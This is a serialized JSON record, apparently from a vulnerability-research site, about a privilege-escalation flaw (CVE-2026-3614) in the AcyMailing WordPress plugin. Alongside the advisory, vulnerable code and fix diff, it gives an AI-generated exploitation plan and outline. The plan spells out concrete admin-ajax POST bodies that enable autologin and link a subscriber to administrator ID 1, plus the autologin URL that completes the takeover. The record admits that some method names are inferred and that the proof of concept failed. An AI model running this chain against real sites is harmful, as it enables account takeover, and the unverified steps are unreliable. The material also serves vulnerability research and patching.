[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f6TNGxFkGAxD6RHEWklpAqet5F5DlBZvG4IvoxWomZsE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":41,"poc_video_id":9,"poc_summary":42,"poc_steps":43,"poc_tested_at":44,"poc_wp_version":45,"poc_php_version":46,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":47,"poc_model_used":9,"poc_verification_depth":9,"source_links":48},"CVE-2026-3614","acymailing-missing-authorization-to-authenticated-subscriber-privilege-escalation","AcyMailing 9.11.0 - 10.8.1 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation","The AcyMailing plugin for WordPress is vulnerable to privilege escalation in all versions From 9.11.0 up to, and including, 10.8.1 due to a missing capability check on the `wp_ajax_acymailing_router` AJAX handler. This makes it possible for authenticated attackers, with Subscriber-level access and above, to access admin-only controllers (including configuration management), enable the autologin feature, create a malicious newsletter subscriber with an injected `cms_id` pointing to any WordPress user, and then use the autologin URL to authenticate as that user, including administrators.","acymailing",null,">=9.11.0 \u003C=10.8.1","10.8.2","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Missing Authorization","2026-04-15 16:43:55","2026-04-16 05:29:56",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa895e2cf-9eba-4c46-b19f-d008e1058f64?source=api-prod",1,[22,23,24,25,26,27,28,29],"back\u002FClasses\u002FUserClass.php","back\u002FControllers\u002FCampaignsController.php","back\u002FControllers\u002FConfigurationController.php","back\u002FControllers\u002FDashboardController.php","back\u002FControllers\u002FUsersController.php","back\u002FCore\u002FAcymController.php","back\u002FCore\u002Fwordpress\u002Fextension.php","back\u002FCore\u002Fwplangindexer.php","researched",false,3,"# Research Plan: AcyMailing Privilege Escalation (CVE-2026-3614)\n\n## 1. Vulnerability Summary\nThe AcyMailing plugin (versions 9.11.0 to 10.8.1) contains a missing authorization vulnerability in its AJAX routing mechanism. The base controller class, `AcymController`, contains a logic flaw in its `call()` method that bypasses capability checks for any task name containing the string \"Ajax\". Specifically, the check `strpos($task, 'Ajax') === false` allows authenticated users with low privileges (e.g., Subscribers) to invoke admin-level controller methods designed for AJAX.\n\nThis allows an attacker to:\n1.  Modify global plugin configurations (e.g., enabling \"autologin\").\n2.  Create or update AcyMailing subscribers and link them to high-privileged WordPress users (like Administrators) by manipulating the `cms_id` field.\n3.  Utilize the AcyMailing autologin feature to authenticate as the linked Administrator.\n\n## 2. Attack Vector Analysis\n-   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n-   **Action:** `acymailing_router`\n-   **Vulnerable Parameter:** `task` (when it contains \"Ajax\")\n-   **Authentication:** Subscriber-level (PR:L)\n-   **Target Controllers:** `configuration`, `users`\n-   **Preconditions:** The attacker must be logged in as a Subscriber and obtain the AcyMailing AJAX token.\n\n## 3. Code Flow\n1.  **Entry Point:** The AJAX request hits `wp_ajax_acymailing_router`.\n2.  **Routing:** The router identifies the controller (`ctrl`) and the method (`task`).\n3.  **Authorization Bypass:** In `back\u002FCore\u002FAcymController.php`:\n    ```php\n    public function call(string $task): void {\n        if (!in_array($task, ['countResultsTotal', 'countGlobalBySegmentId', 'countResults']) \n            && strpos($task, 'Ajax') === false \n            && !acym_isAllowed($this->name)) {\n            \u002F\u002F ... (Access Denied)\n        }\n        \u002F\u002F If task contains \"Ajax\", the check is bypassed.\n        $this->$task();\n    }\n    ```\n4.  **Sinks:**\n    -   `ConfigurationController::saveAjax` (inferred task name based on AcyMailing's naming convention for traits like `Security` or `Subscription` used in the controller).\n    -   `UsersController::saveAjax` (inferred task name from the `Edition` trait).\n    -   `UserClass::save()`: Processes the `user` array, including the `cms_id` field.\n\n## 4. Nonce Acquisition Strategy\nAcyMailing uses a custom token for AJAX requests, typically localized in the `acym_data` JavaScript object.\n\n1.  **Identify Page:** The plugin loads its core scripts on most AcyMailing admin pages. Even if a Subscriber is restricted from the main dashboard, they may access the AcyMailing \"Profile\" or \"Subscription\" management pages if enabled.\n2.  **Creation of Access Point:** To ensure the script is loaded, create a WordPress page containing an AcyMailing shortcode.\n    -   Shortcode: `[acymailing_form list=\"1\"]` (Standard subscription form).\n3.  **Extraction:**\n    -   Navigate to the page.\n    -   Use `browser_eval` to extract the token: `browser_eval(\"window.acym_data?.token\")`.\n    -   The action verified by `acym_checkToken()` in `ConfigurationController::getAjax` (line 39) is usually this global token.\n\n## 5. Exploitation Strategy\n\n### Step 1: Enable Autologin\nEnable the autologin feature via the `configuration` controller.\n-   **Request:** `POST \u002Fwp-admin\u002Fadmin-ajax.php`\n-   **Body:** \n    ```\n    action=acymailing_router&ctrl=configuration&task=saveAjax&acym_token=[TOKEN]&config[allow_autologin]=1\n    ```\n-   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n\n### Step 2: Create Malicious Subscriber\nCreate a new subscriber or update an existing one, setting the `cms_id` to `1` (usually the Administrator ID).\n-   **Request:** `POST \u002Fwp-admin\u002Fadmin-ajax.php`\n-   **Body:**\n    ```\n    action=acymailing_router&ctrl=users&task=saveAjax&acym_token=[TOKEN]&user[email]=attacker@poc.local&user[cms_id]=1&user[active]=1&user[confirmed]=1\n    ```\n-   **Goal:** Obtain the `key` field from the JSON response. If `saveAjax` does not return the key, use `getUserInfoAjax` (found in `UsersController.php` line 57) to retrieve the user's details by the newly created ID.\n\n### Step 3: Trigger Privilege Escalation\nConstruct the autologin URL using the AcyMailing subscriber ID and the `key` retrieved in Step 2.\n-   **URL Pattern:** `[SITE_URL]\u002F?ctrl=frontusers&task=autologin&user_id=[SUBSCRIBER_ID]&key=[KEY]`\n-   **Action:** Navigate to this URL in the browser. This will log the attacker in as the WordPress user defined by `cms_id` (the Administrator).\n\n## 6. Test Data Setup\n1.  **Target User:** Ensure a user with ID `1` exists and has the `administrator` role.\n2.  **Attacker User:** Create a user with the `subscriber` role.\n3.  **Nonce Page:** Create a page to extract the `acym_token`.\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"Newsletter\" --post_content='[acymailing_form]'\n    ```\n\n## 7. Expected Results\n-   **Config Update:** The first AJAX call returns `{\"status\":true}` or similar success message, and the database `wp_acym_configuration` reflects `allow_autologin` as `1`.\n-   **User Creation:** The second AJAX call returns a JSON object representing the user, including a 16-32 character `key`.\n-   **Login:** Accessing the autologin URL redirects the attacker to the WordPress dashboard with Administrator privileges.\n\n## 8. Verification Steps\n1.  **Check Config:** `wp db query \"SELECT value FROM wp_acym_configuration WHERE name = 'allow_autologin'\"` (Should be `1`).\n2.  **Check Subscriber:** `wp db query \"SELECT * FROM wp_acym_user WHERE email = 'attacker@poc.local'\"` (Should show `cms_id` = 1).\n3.  **Check Session:** After navigating to the autologin URL, run `wp eval \"echo wp_get_current_user()->roles[0];\"` (Should output `administrator`).\n\n## 9. Alternative Approaches\n-   **If `saveAjax` is not the method name:** Check for `storeAjax` or `updateAjax`.\n-   **Direct Configuration Manipulation:** If `saveAjax` on `ConfigurationController` fails, try targeting specific traits like `SecurityController` (if it exists as a separate controller accessible via `ctrl=security`).\n-   **Information Leak:** Use `ctrl=users&task=getUserInfoAjax&userId=1` (as seen in `UsersController.php`) to leak subscriber data of other users if `userId` refers to the AcyMailing user ID.","The AcyMailing plugin for WordPress is vulnerable to privilege escalation due to a missing authorization check in its AJAX routing logic. Authenticated attackers with Subscriber-level access can bypass capability checks by calling controller methods containing the string 'Ajax', allowing them to enable the autologin feature and link their account to an Administrator via the 'cms_id' parameter.","\u002F\u002F back\u002FCore\u002FAcymController.php line 92\npublic function call(string $task): void\n{\n    if (!in_array($task, ['countResultsTotal', 'countGlobalBySegmentId', 'countResults']) && strpos($task, 'Ajax') === false && !acym_isAllowed($this->name)) {\n        acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'warning');\n        acym_redirect(acym_completeLink('dashboard'));\n\n        return;\n    }\n\n    if (!method_exists($this, $task)) {\n        acym_enqueueMessage(acym_translation('ACYM_NON_EXISTING_PAGE'), 'warning');\n        $task = $this->defaulttask;\n        acym_setVar('task', $task);\n    }\n\n    $this->$task();\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.8.1\u002Fback\u002FClasses\u002FUserClass.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.8.2\u002Fback\u002FClasses\u002FUserClass.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.8.1\u002Fback\u002FClasses\u002FUserClass.php\t2026-03-09 13:06:28.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.8.2\u002Fback\u002FClasses\u002FUserClass.php\t2026-03-13 09:39:22.000000000 +0000\n@@ -1033,6 +1037,7 @@\n                 $user->$attribute = $value;\n             }\n             unset($user->cms_id);\n+            unset($user->key);\n         }\n \n         if (empty($user->email)) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.8.1\u002Fback\u002FCore\u002FAcymController.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.8.2\u002Fback\u002FCore\u002FAcymController.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.8.1\u002Fback\u002FCore\u002FAcymController.php\t2025-11-17 10:05:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Facymailing\u002F10.8.2\u002Fback\u002FCore\u002FAcymController.php\t2026-03-13 09:39:22.000000000 +0000\n@@ -84,12 +89,14 @@\n         $_SESSION[$this->sessionName] = [];\n \n         $taskToCall = acym_getVar('string', 'cleartask', $this->defaulttask);\n-        $this->call($taskToCall);\n+        if (in_array($taskToCall, ['campaigns_auto', 'welcome', 'unsubscribe', $this->defaulttask])) {\n+            $this->call($taskToCall);\n+        }\n     }\n \n     public function call(string $task): void\n     {\n-        if (!in_array($task, ['countResultsTotal', 'countGlobalBySegmentId', 'countResults']) && strpos($task, 'Ajax') === false && !acym_isAllowed($this->name)) {\n+        if (!acym_isAllowed($this->name)) {\n             acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'warning');\n             acym_redirect(acym_completeLink('dashboard'));","1. **Identify AJAX Token**: Authenticate as a Subscriber and extract the `acym_token` from the `acym_data` object in the localized JavaScript (usually available on pages with an AcyMailing form or profile management).\n2. **Enable Autologin**: Send a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with `action=acymailing_router`, `ctrl=configuration`, and `task=saveAjax`. The payload should include `config[allow_autologin]=1`. The `saveAjax` method (via the Security trait) is accessible because it contains the 'Ajax' string, bypassing authorization checks.\n3. **Link to Administrator**: Send a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with `action=acymailing_router`, `ctrl=users`, and `task=saveAjax`. The payload should contain a user array with the attacker's email and `cms_id=1` (standard ID for the first Administrator). \n4. **Retrieve Access Key**: Use the response from the user update or call `getUserInfoAjax` (also authorized via the 'Ajax' bypass) to retrieve the AcyMailing `key` for the linked subscriber account.\n5. **Authenticate as Admin**: Navigate to `[SITE_URL]\u002F?ctrl=frontusers&task=autologin&user_id=[SUBSCRIBER_ID]&key=[KEY]`. The plugin will authenticate the session as the WordPress user specified by the previously set `cms_id` (the Administrator).","gemini-3-flash-preview","2026-04-16 15:28:43","2026-04-16 15:29:21","failed","All models in the chain (gemini-3-flash-preview, claude-opus-4-7) failed to produce a verified exploit.",[],"2026-04-17 18:22:20","6.7","8.3",true,{"type":49,"vulnerable_version":50,"fixed_version":11,"vulnerable_browse":51,"vulnerable_zip":52,"fixed_browse":53,"fixed_zip":54,"all_tags":55},"plugin","10.8.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Facymailing\u002Ftags\u002F10.8.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Facymailing.10.8.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Facymailing\u002Ftags\u002F10.8.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Facymailing.10.8.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Facymailing\u002Ftags"]